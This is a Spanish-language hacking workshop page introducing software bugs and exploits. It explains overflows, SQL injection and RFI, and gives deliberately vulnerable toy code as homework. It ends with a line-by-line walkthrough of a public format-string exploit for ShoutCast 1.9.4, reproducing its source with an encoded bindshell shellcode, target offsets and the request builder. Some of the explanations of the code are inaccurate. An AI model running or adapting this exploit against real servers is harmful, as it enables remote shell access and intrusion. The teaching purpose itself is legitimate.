Bugs y Exploits‎ > ‎Introducción‎ > ‎

Introducción a Bugs&Exploits en General

Contenidos
1 Introduccion
2 Segunda Sesión
3 Nivel Web
3.1 Ejemplo de SQL Inyection:
3.2 Ejemplo de RFI:
3.3 Ejercicio
4 Empezamos con ensamblador¡¡
5 Bug de "Format String"

Introduccion

Bueno un taller, o como lo veo yo, es algo en donde aprendes de la práctica.
esta es la primera clase (xD) por decirle asi, y es un poco para evitar que se vallan por el mal camino, no duden en dejar sus dudas aqui, pero recuerden que seran borradas, para poder dar continuidad al taller, sinembargo todas las dudas seran contestadas en el proximo post.

Primero, que es un Bug?
contestare eso, diciendo que no es.
NO ES un programa que permite a un "supermegahx0r" entrar a la CIA
NO ES una linea de codigo
NO ES un insecto, ni lo que te estes imaginando que no sea:

un error de programación

eso es todo.. unos diran, UN FORO para eso.. un error de programación, ¿Porque no esta en la categoria de programación? ¿Porque esta en Hacking? ¿Porque todo parece girar alrededor de un Simple Error!!?

Bueno, porque es muy dificil hacer una aplicación GRANDE, segura.
por eso windows tiene errores, porque un grupo cerrado de personas, trabajan dia y noche para hacer muy bonito el sistema operativo, y cobrar sus cheques, pero en algun momento un programador se equivoca, no define bien una variabe, se salta un paso, no limpia una entrada, y un gusano infecta miles de millones de computadoras en 1 dia.

Yo he dicho, que debes saber mas que el propio programador, pero ahora veo que no es realmente asi, porque hasta un programador, muy bueno, puede cometer un error, hasta ahora, no he descubierto ningun bug en ninuna aplicación que he hecho, el problema es que otros si lo han logrado.

en un lugar donde creo haber tomado todas las precauciones, siempre encuentran algo.. aveces es desesperante, pero de que alguien conocido encuentre el bug a alguien mas... prefiero yo saberlo, y asi corregirlo.

ahora, donde entran los exploits?

los exploits, son otro programa, que usa este "bug" para hacer algo malo..

peinsen en que su programa es un niño chiquito y con amnesia.

deben de decirle que hacer bajo cada situación.

no abras la puerta a ningun extraño.
no dejes pasar a ninguna persona conocida con animales.
no dejes pasar a ninguna persona conocida con armas.

pero llega un señor, desconocido. con un changuito y una pistola, se queda afuera de la puerta, se presenta al niño, el niño lo conoce, y le da al changuito el arma, el changuito entra con el arma y despues el señor, como ya lo conoce el niño, entra, toma el arma una vez dentro, y lo mata.

ahora, el niño siempre siguio tus ordenes.
pero aun asi, lo mataron.
¿suena muy fuerte verdad?
ahora que prefieres, que un compañero entre y en lugar de matar al niño, te hable por telefono, diciendote del problema, o.. que lo haga alguien desconocido?

bueno, no se si en alguna clase de computación, la primera clase no prenden las computadoras.. eso me pasa desde primaria.. nunca entendia porque, y hoy ustedes tendran la misma duda.

ustedes son ladrones de bancos, y quieren robar todo el dinero de el banco de la esquina, hay varias funciones (empleados), y estos se deben de encargar de evitar que tu salgas de ahi con dinero que no te pertenece, tu debes de crear un escenario en el cual, sin romper ninguna regla, salgas con el dinero en la mano.

estas son las funciones:

guardia_de_la_puerta (persona, accion){
si (accion == "entrar"){
   si (alarma_prendida && persona != policia){
      no dejar entrar;
   }sino{
      dejar entrar;
   }
}sino{
   si (alarma_prendida && persona != policia){
      no dejar salir;
   }sino{
      dejar salir;
   }
}
}

cajero(persona,dinero,cuenta){
   if(persona==cuenta.dueño){
       if(dinero<=cuenta.total){
          dar.dinero.a.persona;
       }sino{
          decir("No tiene saldo señor/señora");
       }
   }sino{
      alarma_prendida=true;
   }
}

ahora, tu solo puedes modificar la variable dinero, acción, y cuenta. no puedes falsificar persona.
tu solo tienes una cuenta de $500.00 y quieres sacar todo el dinero del banco. despues debes salir por donde esta el guardia de la puerta, (solo puedes salir por ahi, y DEBES salir)

por cierto, no eres policia.

Saludos!!

Segunda Sesión

Tipos de Bugs:

Nivel Aplicación
Nivel Web

Esta sesión nos centraremos en:
Nivel Aplicación se refiere a BoF, HoF, y FSoF.

Este taller es de práctica, anexo documentación, porque la info que daré aqui no es suficiente.

los BoF son vulnerabilidades que se dan porque el programador, al calcular la longitud de memoria asignada a tal variable, permite que el usuario meta mas de lo permitido, esto es porque en C, por ejemplo, al meter asi:
scanf("%s",string);
se empiezan a guardar en posiciones despues de la direccion de memoria guardada, asi que no hay algo que le diga alto.

si esta información se guarda en el Stack, parte de la memoria, donde se empujan funciones, se puede hacer que se ejecute código.
Mas info en:
http://en.wikipedia.org/wiki/Buffer_overflow

Los HoF, se crean cuando se usa, (de nuevo C), una funcion, llamada malloc, que sire para especificar, cierta cantidad de memoria, lo que nos permite modificar variables.
Mas info en google xD

Los FSoF, son vulnerabilidades, al usar algo asi:
printf(variable);
documentación anexa.

Bueno.
deben leer y aparte si necesitan, investigar sobre estos temas, ya que los necesitaran para su siguiente tarea.

Esta es la historia de mi amigo Paco

Hoy Paco compró un software nuevo, llamado Apahuichtle, es un WebServer, y se supone que es anti todo, porque no soporta programación del lado del servidor.
Pero al pobre paco, lo han defaceado mil veces.
Lo unico que sabe, es que es una vulnerabilidad llamada BoF. busco en google que significa y encontro que es Birds of a Feather, asi que se ha puesto a borrar todos los archivos de pajaron que tenia.
Aun asi lo siguen defaceando.
Este es el codigo fuente de Apahichtle:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int g, char *f[])
{
    FILE *arc;
    char buf[255],xyz[255],c;
    int jk=0,i,cl;
    scanf("%s %s %s",buf,xyz,buf);
    scanf("%s",buf);
    scanf("%s",buf);
    scanf("%s",buf);
    scanf("%s",buf);
    strcpy(buf,"C:/WEB");
    strcat(buf,xyz);
    arc = fopen(buf, "r");
    if (arc == NULL){
       printf(" ARCHIVO INVALIDO %s",buf);
       return 0;
    }
    cl=0;
    c = getc(arc);
    while (c != EOF){
          printf("%c",c);
          if (c=='\n'){
             printf("\n");
             c = getc(arc);
             //printf("%d",cl);
             cl=0;
          }else{
                c = getc(arc);
                cl++;
          }
    }
    fclose(arc);
    return 0;
}

Paco me mando el instalador tambien, lo dejo anexo.

Debes encontrar todoss los bugs que puedas.
te recuerdo que debes leer la documentación, para que puedas encontrara las vulnerabilidades que contiene este programa.

Nivel Web

Hola.
Yo sé que el tema pasado fue un poco complicado, pero eso fue una introducción a overflows, mas adelante veremos mas afondo como funciona cada uno, y sus ejemplos, y realmente era para que leyeran un poco sobre eso.. jeje.

Hoy veremos un poco de bugs a nivel web.

No les expliaré que es XSS ni SQL Inj., ni RFI, etc.. esto es mas bien un poco de teoria, y practica sobre de donde vienen estos bugs.

Los bugs a nivel web, son básicamente errores que por su naturaleza, son muy dificiles de controlar.
ya que en si, la mayoria de las veces no bloqueas el error, sino que mas bien, limpias al usuario.

es como:
Tenemos un millon de dolares en una mesa en mi casa, pero para evitar que se lo roben, solo dejo entrar a personas de confianza.

sin ofender a nadie.. eso es una idiotes.

asi funcionan a grandes rasgos, las vulnerabilidades de:
XSS Cross Site Scripting
SQL Inj. SQL Injection
RFI Remote File Inclusion
RCE Remote Comand Execution

Pero, pues que podemos hacer..

miren, haber si le trae recuerdos a alguien:

EnglishTeacher:

Fill in the blanks:

1.- The dog cant, enter to the house, it only can be in _____ house.

2.- Everybody is welcome to our house, this is our adress: ______.

3.- My name is _____, and I am from México.

Como, Ingles básico 1, o no se jaja.

Un alumno cualquiera contestaria:

1.- The dog cant, enter to the house, it only can be in its house.

2.- Everybody is welcome to our house, this is our adress: Evergreen No. 123, SpringField.

3.- My name is Jose Matias, and I am from México.

Bueno ese jose matias es como que el matado del salón, pero aqui viene pepito, el astuto.

1.- The dog cant, enter to the house, it only can be in the teacher's house.

2.- Everybody is welcome to our house, this is our adress: Afganistan, Kabul, CIA-HQ Basement. Att. Osama.

3.- My name is George W. Bush, and I hate you.
Well I am Fox, and I am from México.

bueno.. espero hayan entendido el concepto.
la magia esta en introducir cosas que no deberian introducirse.

En SQL Iny y RCE. lo que haces es introducir mas comandos de los que se supone que puedes, al dejarte introducir una variable, metes la variable, y despues metes comandos.

En RFI y XSS. lo que haces es meter cosas donde no van!!
metes una url, donde va un archivo, metes un tag donde va tu nombre etc..

Ejemplo de SQL Inyection:

nos dejan meter la variable $modelo
y esta se usa aqui:

SELECT * FROM autos WHERE modelo='$modelo';

Entonces, tu metes comandos despues de eso.. pero si los metes a pelo, la instrucción va a creer que las funciones que metes son parte de la variable, asi que primero hay que decirle, que la variable acaba en cierto punto, para eso metemos una comilla.. para que la instrucción diga, bueno, hata aqui acaba la variable, y despues le metes instrucciones, no me meteré, en que instrucciones, eso ya hay tutoriales de SQL y de SQL Inyection

.

Ejemplo de RFI:

el programa dice:
Cargar las variables donde estan los idiomas de la pagina que esta en la variable idioma, por ejemplo, idioma=spanish.php
entonces, nosotros vemos eso, y como sabemos que lo que hay en idioma, se va a incluir como instrucciones, ponemos nuestra web, con instrucciones que nos den control total de la página.

como siempre les dejo tarea.

Ejercicio

Y no es de hacer cosas en programas ya hechos.. para eso esta www.securityfocus.com/bid su tarea es de concepto, deben de hacer algo que se necesita para explotar genericamente todas las aplicaciones.

Deben hacer que el siguiente texto hable de lo siguiente:

Sobre que significa katafixia
Sobre cuando fue el descubrimiento de américa
Sobre cuantos peces hay en el mar

Lo interesante, es que solo puede hablar de eso, no puede hablar de ninguna otra cosa (es decir, el que lea esto, no debe saber que diablos es kokosteoposis).

este es el texto, donde vean un [?] pueden insertar cualquier cosa, de no mas de 25 caracteres, y no menos de 3.

Alguien:

Pese a que en nuestro país [?] la osteoporosis es un problema [?] importante y muy difundido, mas grave lo es la kokosteoposis [?], un padecimiento oseo, originado por una mala [?] nutrición.

Se calcula que en el territorio [?] mexicano [?], existen mas de 24.5 millones de personas con estos problemas, y solo 150,000 reciben [?] tratamiento.

La [?] Comop, dice que [?] 36,500 personas se fracturan al año, y la mitad, se muere en el transcurso del año entrante, y del [?] 50% restante la mitad queda discapacitada y dependiente de familares y amigos.

Como se puede ver [?] los problemas de desmineralización no solo [?] afectan a personas de edad [?] avanzada, pues muchos jovenes [?] la padecen.

El que de la mejor respuesta, gana que su post no se borre, igual que el del primer post

El próximo capitulo será de ASM, y BASIC.. para que vean masomenos como funciona su compu, y podamos reabordar el tema de overflows..

Hay documentación, en el foro de cursos y documentación, www.elhacker.net y en google.

Saludos!!

Empezamos con ensamblador¡¡

Un lenguaje de bajo nivel.
Hagan de cuenta, que los programadores son los directores de una empresa, que produce.. productos (programas).

La oficina del programador, como es el de las ideas esta hasta arriba,

Abajo estan varias divisiones, que se encargan del poner las ideas en una pantalla para el usuario, osea arman el marco del programa, aqui podria ir, HTML, XML, APIs de protocolos, etc..

Abajo esta la división dinámica, como puede ser Perl, PHP, ASP, etc..

Abajo esta la sección de programadores nivel aplicación que saben: C, Java, VB entre otros lenguajes.

Abajo esta la sección de compiladores (traductores), que se encargan de poner el código de los señores de arriba, en otro lenguaje.. llamado ASM.

Abajo, esta la minifábrica, donde re-traducen el lenguaje ASM en bits.

queda algo asi:

[ PROGRAMADOR ] [ diseño ] [ INTERACTIVIDAD ] [ APLICACIÓN ] [ TRADUCCIÓN ] [ ENSAMBLACION ]

A que no adivinan, donde esta ensamblador?
claro!! en el nivel de abajo.. xD

Bueno, es una manera de ejemplificar esto.. creanme que nadie estaba pensando en un edificio cuando nombro ASM como lenguaje de bajo nivel.. pero creo que se entiende el concepto no?

Bueno, antes de ver ensamblador.. vamos a meternos un poco en como funcionan estas cosas.

hay un lenguaje, parecido (pero diferente (xD)) llamado Basic, ahora, no hablo del moderno.. ese ya es casi igual a visual basic.. yo hablo de BASIC.. de los primeros que salieron.

Escogi este, por un simple motivo, porque numera las lineas.

ok veamos.. este es un programa en basic.

10   PRINT "HOLA ESTO ES UN FACTORIZADOR"
20   INPUT A
30   GOTO 70
40   PRINT "2"
50   A=A/2
60   IF A-1=0 THEN 180
70   IF FRAC(A/2)=0 THEN 40
80   B=3
90   C=SQRA+1
100 IF B>=C THEN 170
110 IF FRAC(A/B)=0 THEN 130
120 B=B+2: GOTO 100
130 IF A/B*B-A=0 THEN 150
140 GOTO 120
150 PRINT B
160 A=A/B: GOTO 90
170 PRINT A
180 PRINT "AKB"
190 GOTO 20

Es un factorizador.. muy malo por cierto..
pero veamos como funciona.
primero imprime a pantalla:

HOLA ESTO ES UN FACTORIZADOR

Despues te pide un número y lo guarda en la variable A
digamos que metimos el 42

30   GOTO 70

Ahora va a la linea 70

70   IF FRAC(A/2)=0 THEN 40

Ahora.. pregunta:
SI LA FRACCION DE A/2 (42/2) ES IGUAL A 0 ENTONCES VE A LA LINEA 40
que es igual a
SI 0 = 0 ENTONCES:

40   PRINT "2"

Y recibimos un 2 en la patalla

50   A=A/2

Y el valor de A lo dividimos entre 2, ahora A vale 21

60   IF A-1=0 THEN 180

Y si el numero es igual a 1, entonces nos vamos a 180.. pero como no es asi..

70   IF FRAC(A/2)=0 THEN 40

Volvemos a preguntar si el nuevo valor de A(21) es divisible entre 2.. la respuesta es NO, asi que seguimos adelante.

80   B=3

La variable B vale 3

90   C=SQRA+1

Y la variable C vale la RAIZ CUADRADA de A.. que es.~ 4.6 MAS 1.. en total C vale 5.6

100 IF B>=C THEN 170

Preguntamos si B(3) es mayor o igual a C(5.6), la respuesta es NO y seguimos sin saltar.

110 IF FRAC(A/B)=0 THEN 130

Preguntamos si A(21) es divisible entre B(3), la respuesta es SI, asi que saltamos a 130

130 IF A/B*B-A=0 THEN 150

Preguntamos si A(21)/B(3)*B(3)-A(21) es igual a 0, la respuesta es SI, (si no me crees has la cuenta) y saltamos a 150

y ustedes siganle

Bueno, quiero destacar ciertas cosas..
¿Hay funciones en este lenguaje?
Bueno, quien dijo, que NO esta bien.
Quien dice que SI tambien.

Me explico. hay una instrucción llamada GOSUB.. que va a cierta parte del código, y cuando encuentra RETURN, regresa a la linea de donde se lanzo el GOSUB.. por ejemplo:

10 GOTO 50
20 PRINT "HOLA"
30 RETURN
40 PRINT "ESTO NO SE EJECUTA"
50 GOSUB 20
60 PRINT "ADIOS"

Se podria decir que existe la funcion "Linea 20"
Ahora.. esto es todo lo que van a saber de BASIC.. si quieren saber mas:
http://en.wikipedia.org/wiki/BASIC

Espero que hallan entendido bien esto..
ahora va ensamblador..
La similitud que le veo con BASIC es muy grande, aunque muchos no compartan mi creencia.. nimodo.

Veamos..
Necesitamos un lugar donde probar lo que hacemos.
Inicio => Ejecutar
DEBUG

Si, asi es.. xD les debe salir un signo de menos (-)
escriben:
A
y saldra algo asi

0D0C:0100

Bueno, ahi pueden poner cosas e ensamblador, este programa las transforma en binario, y listo..
Ahora.. ensamblador tiene ciertas peculiaridades.
Las variables, no son variables (si exacto.. suena extraño?) sino posiciones de memoria.
Uy hay algo mejor aun.. recuerdan la función "Linea 20", pues aca, aunque parece que tenemos mas flexibilidad (el MASM no cuenta), realmente estamos igual o peor.
Porque pues, en BASIC, al menos controlamos las lineas.. decimos, esta es linea 1, esta es 2 etc.. en ASM, si queremos saltar hacia adelante.. necesitamos primero hacer el programa, (o calcularlo, pero mm.. no) y despues de eso, sabremos a donde queremos saltar..
el GOSUB, pues.. para que el programa sepa a donde regresar despues del return (en ASM se llama ret) la direccion de guarda en una variable.

Por ejemplo:

0D0C:0100 JMP 113
0D0C:0102 DB "HOLA UNIVERSO XD$"
0D0C:0113 MOV AH,9
0D0C:0115 MOV DX,102
0D0C:0118 INT 21
0D0C:011A INT 20

(al usar debug, al final deben poner esto):

(salto de linea)
RCX
(longitud del programa, numero de la ultima linea menos 100)
N (nombre.com)
W

-----------------------------

C:\DOCUME~1\ADMINI~1>DEBUG
-A
0D0C:0100 JMP 113
0D0C:0102 DB "HOLA UNIVERSO XD$"
0D0C:0113 MOV AH,9
0D0C:0115 MOV DX,102
0D0C:0118 INT 21
0D0C:011A INT 20
0D0C:011C
-RCX
CX 0000
:1C
-N X.COM
-W
Escribiendo 0001C bytes
-Q

C:\DOCUME~1\ADMINI~1>X.COM
HOLA UNIVERSO XD

Ok, vamos a explicar esto.

0D0C:0100 JMP 113

JMP, sirve para Brincar, es como el GOTO en basic

0D0C:0102 DB "HOLA UNIVERSO XD$"

Aqui, pusimos en DB que significa que lo que sigue, lo escriba tal cual en hexadecimal.

0D0C:0113 MOV AH,9

Ok, esto es parte de las cosas interesantes de ensamblador.. pon tu que en ensamblador SI hay funciones, pero les llamamos interrupciones.. ahora a las interrupciones, les pasamos parametros, igual que a una función, y los parametros que mandamos, los metemos un unos registros llamados AX,BX,CX,DX,SP,BP,SI,DI,DS,ES,SS,CS,IP,AH,BH
estos, pueden mandar valores a las interrupciones, y decriles que queremos hacer.. este MOV AH,9 "MUEVE" el valor "9" en el registro "AH".. es asi MOV DESTINO,FUENTE y esto sirve para que la interrupcion 21, haga la subfuncion de "ESCRIBIR EN PANTALLA" lo que hay en el siguiente registro..

0D0C:0115 MOV DX,102

Aqui, movemos 102 (es la direccion donde esta nuestro mensaje) al registro DX.. asi, la funcion/interrupcion sabe donde buscar lo que va a "ESCRIBIR EN PANTALLA"

0D0C:0118 INT 21

Aqui hacemos la interrupcion.. y hace lo que le dijimos, escribe en pantalla, lo que hay en la direccion 102, hasta chocar con "$" (te preguntabas porque estaba ese $ al final, ya sabes porque )

0D0C:011A INT 20

Esta otra interrupcion, termina el programa, de hecho, se supone que no la debes usar, pero.. que mas da..

Y nos da un bonito programa que nos dice Hola Universo

Ahora, hagamos un programa, que meta cosas donde no debe..

Haremos un archivo BATCH que cree un programa.. que nos muestre el mensaje que queramos
divertido no? (no? xD)

@echo off

echo A>o.tmp
echo JMP 123>>o.tmp
type %0.bat|find /v "o">>o.tmp
echo A 123>>o.tmp
echo MOV AH,09 >>o.tmp
echo MOV DX,103>>o.tmp
echo INT 21>>o.tmp
echo INT 20>>o.tmp
type %0.bat|find /v "o">>o.tmp
echo A 103>>o.tmp
echo DB "%1 %2 %3 %4 %5 %6 %7 %8 %9$">>o.tmp
type %0.bat|find /v "o">>o.tmp
echo RCX>>o.tmp
echo 11C>>o.tmp
echo N sayme.com>>o.tmp
echo W>>o.tmp
echo Q>>o.tmp
type %0.bat|find /v "o">>o.tmp
debug<o.tmp>k.tmo
::PARA DEBUG DESCoMENTEN LA SIGUIENTE LINEA
::del k.tmo&cls
echo BIEN!! SE HA CREADO CON EXITO SAYME.COM!
echo SOLO ESCRIBE SAYME EN EL PROMPT Y TE DI-
echo EL MENSAJE QUE ESPECIFICASTE!! :D :D :D
echo (EL MAXIMO SON 9 PALABRAS) Att. SDC
sayme

guardenlo donde quieran, y escriban:

C:\DOCUME~1\ADMINI~1>say HOLA ELHACKER.NET

despues escriban:

C:\DOCUME~1\ADMINI~1>sayme
HOLA ELHACKER.NET

Excelente el programa funciona.

Bueno, recuerdan que les hice leer muchos textos de overflows en la segunda sesión? pues.. los van a usar.

Miren, si ponen mas de 32 caracteres, van a empezar a escribir en secciones de código..

es decir, ponen 32 caracteres, y despues, pueden meter el código que se les de la gana

Para meter el codigo deben de hacer lo siguiente:
Primero, abren "debug" y escriben 32 veces NOP
se va a colocar en la dirección 123, ahi escriben el código que quieran..

lo abren con bloc de notas, y escriben en cmd.exe

SAY [PEGAN EL CONTENIDO DEL ARCHIVO]
esto deberia funcionar...

A pero me van a decir que no saben programar en Ensamblador.. les dejo un curso anexo

Miren les explico que sucede:
El programa les deja escribir desde la posición 103.
cada letra, es un byte mas, es decir, una direccion mas.
una palabra de 5 letras ocupara hasta la 118
una de 9 hasta la 11C (recuerda que es hexadecimal), y asi sucesivamente.. asi que si quieres, puedes escribir sobre 123 que es donde esta el código y modificarlo, por lo que tu quieras.

TIP: Inicio -> Ejecutar -> calc (calculadora hexadecimal)
TIP: Si tienen problemas con los caracteres, PUEDEN editar el BATCH

ESTA SESIÓN TIENE COMO OBJETIVO INTRODUCIRTE A LO QUE SON LOS BUGS, A NIVEL APLICACIÓN.

LA PROXIMA SESIÓN ATACAREMOS UN PROGRAMA EJECUTABLE, ES DECIR COMPILADO, CON FORMAT STRING, HEAP Y BUFFER OVERFLOW..

Saludos!!

Bug de "Format String"

Hoy de casualidad llegue a dar con un Bug de "Format String", y me puse a verlo
El exploit lo pueden bajar de aqui:
http://www.milw0rm.com/exploits/830
(Por Tomasz Trojanowski)
Es para ShoutCast (http://www.securityfocus.com/bid/12096), pero me gusto para explicar el funcionamiento de un FSoF.

En fin.. les recuerdo un poco que es un FSoF.

"Format String Bug"
"Format String Vulnerabilty"
"Format String Over Flow"
o simplemente
"Format String"

son todos lo mismo, y sucede en estas ocasiones:

printf(variable);
sprintf(variable);
fprintf(variable);
etc..

Ahora, una de las maneras de explotarlo, es cuando usamos las expresiones "%n"
Estas, se encargan de escribir en la dirección especificada la cantidad de datos que se deben haber escrito hasta el momento.. su explotacion es un poco complicada, asi que para mas información, pueden ver la documentación en el "Taller de Introducción a Bugs & Exploits" (mas arriba), aqui trataré de explicar el funcionamiento de este exploit, para que a otros les sirva si alguna ves encuentran alguno.

La manera de encontrarlo, es al mandar una expresión como: "UNo:%xDOs:%x" si el vaor de UNo es difernete a DOs, es muy probable que haya un FSoF.

La manera de explotarlos es similar a la de un BoF, solo que la manera de meterlo es muy diferente.

ShoutCast, al igual que "Apahuichtle WebServer (AWS)" es un webserver, es decir se encarga de responder a llamadas en el protocolo http (aunque algunos webservers tambien responden en otros..)
Este protocolo funciona asi:

[METODO] [ARCHIVO] [VERSION]
[CABECERA]: [CONTENIDO]
[CABECERA]: [CONTENIDO]
...



[CONTENIDO]

Por ejemplo, esta petición estandard a un webserver Apache:

GET / HTTP/1.1
Host: localhost

Daria como resultado esta respuesta:

HTTP/1.1 200 OK
Date: Mon, 27 Mar 2006 04:31:05 GMT
Server: Apache/2.0.55 (Win32) PHP/4.4.2
X-Powered-By: PHP/4.4.2
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Content-Length: 114
Content-Type: text/html

Bueno, el problema con ShoutCast es que el parametro del archivo,es manejado usando las instrucciónes vulnerables a FSoF de las que hablamos.

Ahora empezemos a analizar el exploit, que aprovechandose de una vulnerabilidad de FSoF va a sobreescribir la SEH.

#include <stdio.h>
#include <strings.h>
#include <signal.h>
#include <netinet/in.h>
#include <netdb.h>

espero que no tenga que explicar que es esto..

#define NORM  "\033[00;00m"
#define GREEN "\033[01;32m"
#define YELL  "\033[01;33m"
#define RED   "\033[01;31m"

Se definen colores xD

#define BANNER GREEN "[%%] " YELL "mandragore's sploit v1.0 for " RED "shoutcast 1.9.4 (win gui & console)" NORM

#define fatal(x) { perror(x); exit(1); }

#define default_port 8000

se define el banner (Pubicidad) una funcion, para imprimir errores, y el puerto 8000 como puerto por defecto.

struct { char *os; long goreg; long gpa; long lla; }
targets[] = {
	{ "wXP SP1     ", 0x77beeb23, 0x77be10cc, 0x77be10D0 },	// msvcrt.dll's
	{ "w2k SP4 many", 0x7801D081, 0x780320cc, 0x780320d0 },
 }, tsz;

Se crea una estructura "tsz" con los offsets.

unsigned char bsh[]={
// 198 bytes, iat's gpa at 0x1a, iat's lla at 0x2b, port at 0x46 (1180), key 0xde
0xEB,0x0F,0x8B,0x34,0x24,0x33,0xC9,0x80,0xC1,0xB0,0x80,0x36,0xDE,0x46,0xE2,0xFA,
0xC3,0xE8,0xEC,0xFF,0xFF,0xFF,0xBA,0x57,0xD7,0x60,0xDE,0xFE,0x9E,0xDE,0xB6,0xED,
0xEC,0xDE,0xDE,0xB6,0xA9,0xAD,0xEC,0x81,0x8A,0x21,0xCB,0xDA,0xFE,0x9E,0xDE,0x49,
0x47,0x8C,0x8C,0x8C,0x8C,0x9C,0x8C,0x9C,0x8C,0xB4,0x90,0x89,0x21,0xC8,0x21,0x0E,
0x4D,0xB4,0xDE,0xB6,0xDC,0xDE,0xDA,0x42,0x55,0x1A,0xB4,0xCE,0x8E,0x8D,0xB4,0xDC,
0x89,0x21,0xC8,0x21,0x0E,0xB4,0xDF,0x8D,0xB4,0xD3,0x89,0x21,0xC8,0x21,0x0E,0xB4,
0xDE,0x8A,0x8D,0xB4,0xDF,0x89,0x21,0xC8,0x21,0x0E,0x55,0x06,0xED,0x1E,0xB4,0xCE,
0x87,0x55,0x22,0x89,0xDD,0x27,0x89,0x2D,0x75,0x55,0xE2,0xFA,0x8E,0x8E,0x8E,0xB4,
0xDF,0x8E,0x8E,0x36,0xDA,0xDE,0xDE,0xDE,0xBD,0xB3,0xBA,0xDE,0x8E,0x36,0xD1,0xDE,
0xDE,0xDE,0x9D,0xAC,0xBB,0xBF,0xAA,0xBB,0x8E,0xAC,0xB1,0xBD,0xBB,0xAD,0xAD,0x9F,
0xDE,0x18,0xD9,0x9A,0x19,0x99,0xF2,0xDF,0xDF,0xDE,0xDE,0x5D,0x19,0xE6,0x4D,0x75,
0x75,0x75,0xBA,0xB9,0x7F,0xEE,0xDE,0x55,0x9E,0xD2,0x55,0x9E,0xC2,0x55,0xDE,0x21,
0xAE,0xD6,0x21,0xC8,0x21,0x0E
};

el bindshell..

char verbose=0;
void setoff(long GPA, long LLA) {
	int gpa=GPA^0xdededede, lla=LLA^0xdededede;
	memcpy(bsh+0x1a,&gpa,4);
	memcpy(bsh+0x2b,&lla,4);
}

void usage(char *argv0) {
	int i;

	printf("%s -d <host/ip> [opts]\n\n",argv0);

	printf("Options:\n");
	printf(" -h undocumented\n");
	printf(" -v verbose mode on\n");
	printf(" -p <port> to connect to [default: %u]\n",default_port);
	printf(" -P <port> for the shellcode [default: 1180]\n");
	printf(" -t <target type>; choose below [default: 0]\n\n");

	printf("Types:\n");
	for(i = 0; i < sizeof(targets)/sizeof(tsz); i++)
		printf(" %d %s\t[0x%.8x]\n", i, targets[i].os, targets[i].goreg);

	exit(1);
}

se crea la función setoff, que se usara para asignar los offsets.
y el menu de uso.

void shell(int s) {
	char buff[4096];
	int retval;
	fd_set fds;

se declaran variables, esto se ejecuta, unavez que se haya establecido conexión con el servidor victima.

	printf("[+] connected!\n\n");

	for (;;) {
		FD_ZERO(&fds);
		FD_SET(0,&fds);
		FD_SET(s,&fds);

se colocan algunos valores, se asigna a 0, y si esta definido "s" entonces "fds ~> s"

      if (select(s+1, &fds, NULL, NULL, NULL) < 0)
			fatal("[-] shell.select()");
		if (FD_ISSET(0,&fds)) {
			if ((retval = read(1,buff,4096)) < 1)
				fatal("[-] shell.recv(stdin)");
			send(s,buff,retval,0);
		}

		if (FD_ISSET(s,&fds)) {
			if ((retval = recv(s,buff,4096,0)) < 1)
				fatal("[-] shell.recv(socket)");
			write(1,buff,retval);
		}

Mandamos el paquete... (si se define un canal de salida usa write, sino usa send.)

	}
}

---

int main(int argc, char **argv, char **env) {
	struct sockaddr_in sin;
	struct hostent *he;
	char *host; int port=default_port;
	char *Host; int Port=1180; char bindopt=1;
	int i,s,ptr=0;
	int type=0;
	char *buff;

	printf(BANNER "\n");

	if (argc==1)
		usage(argv[0]);

se definen algunas variables, objetos, etc.. imprimimos el banner y las instrucciones

	for (i=1;i<argc;i+=2) {
		if (strlen(argv[i]) != 2)
			usage(argv[0]);
		// chk nulls argv[i+1]
		switch(argv[i][1]) {
			case 't':
				type=atoi(argv[i+1]);
				if (type >= (sizeof(targets)/sizeof(tsz))) {
					printf("[-] bad target\n");
					usage(argv[0]);
				}
				break;
			case 'd':
				host=argv[i+1];
				break;
			case 'p':
				port=atoi(argv[i+1])?:default_port;
				break;
			case 's':
				if (strstr(argv[i+1],"rev"))
					bindopt=0;
				break;
			case 'H':
				Host=argv[i+1];
				break;
			case 'P':
				Port=atoi(argv[i+1])?:1180;
				Port=Port ^ 0xdede;
				Port=(Port & 0xff) << 8 | Port >>8;
				memcpy(bsh+0x46,&Port,2);
				Port=Port ^ 0xdede;
				Port=(Port & 0xff) << 8 | Port >>8;
				break;
			case 'v':
				verbose++; i--;
				break;
			case 'h':
				usage(argv[0]);
			default:
				usage(argv[0]);
			}
	}

Esto solo manda a cada lugar los parametros enviados, solo analizaremos algunos:

			case 'P':
				Port=atoi(argv[i+1])?:1180;
				Port=Port ^ 0xdede;
				Port=(Port & 0xff) << 8 | Port >>8;
				memcpy(bsh+0x46,&Port,2);
				Port=Port ^ 0xdede;
				Port=(Port & 0xff) << 8 | Port >>8;
				break;

Asignamos un puerto personalisado.

			case 't':
				type=atoi(argv[i+1]);
				if (type >= (sizeof(targets)/sizeof(tsz))) {
					printf("[-] bad target\n");
					usage(argv[0]);
				}
				break;

Asignamos el objetivo.

	if (verbose)
		printf("verbose!\n");

	if ((he=gethostbyname(host))==NULL)
		fatal("[-] gethostbyname()");

	sin.sin_family = 2;
	sin.sin_addr = *((struct in_addr *)he->h_addr_list[0]);
	sin.sin_port = htons(port);

Hacemos la conexión......

	printf("[.] launching attack on %s:%d..\n",inet_ntoa(*((struct in_addr *)he->h_addr_list[0])),port);
	printf("[.] will try to put a bindshell on port %d.\n",Port);

:-/ Información...

Ahora, hasta aqui, no hemos visto nada nuevo..

	s=socket(2,1,6);

	if (connect(s,(struct sockaddr *)&sin,16)!=0)
		fatal("[-] connect()");

	printf("[+] connected, sending exploit\n");

En sus marcas.. listos? xD

	buff=(char *)malloc(4096);
	bzero(buff,4096);

	setoff(targets[type].gpa, targets[type].lla);

Asignamos espacio en memoria.
Ponemos a 0 el buffer.
y ponemos los offsets

	ptr=sprintf(buff,"GET /content/%%#0%ux",1046-sizeof(bsh));

bueno, esto lo que hace es meter en "buff" el tamaño de la shell.

	memcpy(buff+ptr,bsh,sizeof(bsh)); ptr+=sizeof(bsh);

Ahora, copiamos el bindshell en memoria....

	strcpy(buff+ptr,"\xeb\x06\x41\x41"); ptr+=4;

Esto: EB 06 41 41, en ASM es:
Saltar 8 bits adelante.
CX=CX+2
es decir saltamos.

	memcpy(buff+ptr,&targets[type].goreg,4); ptr+=4;

metemos el primer offset, de la lista de objetivos.

	strcpy(buff+ptr,"\xe9\x2d\xff\xff\xff");

saltamos 208 bits atras.

	strcpy(buff+ptr,"%#0200x.mp3 HTTP/1.0\r\n\r\n"); ptr+=28;

y generamos una peticion HTTP version 1.1 valida.

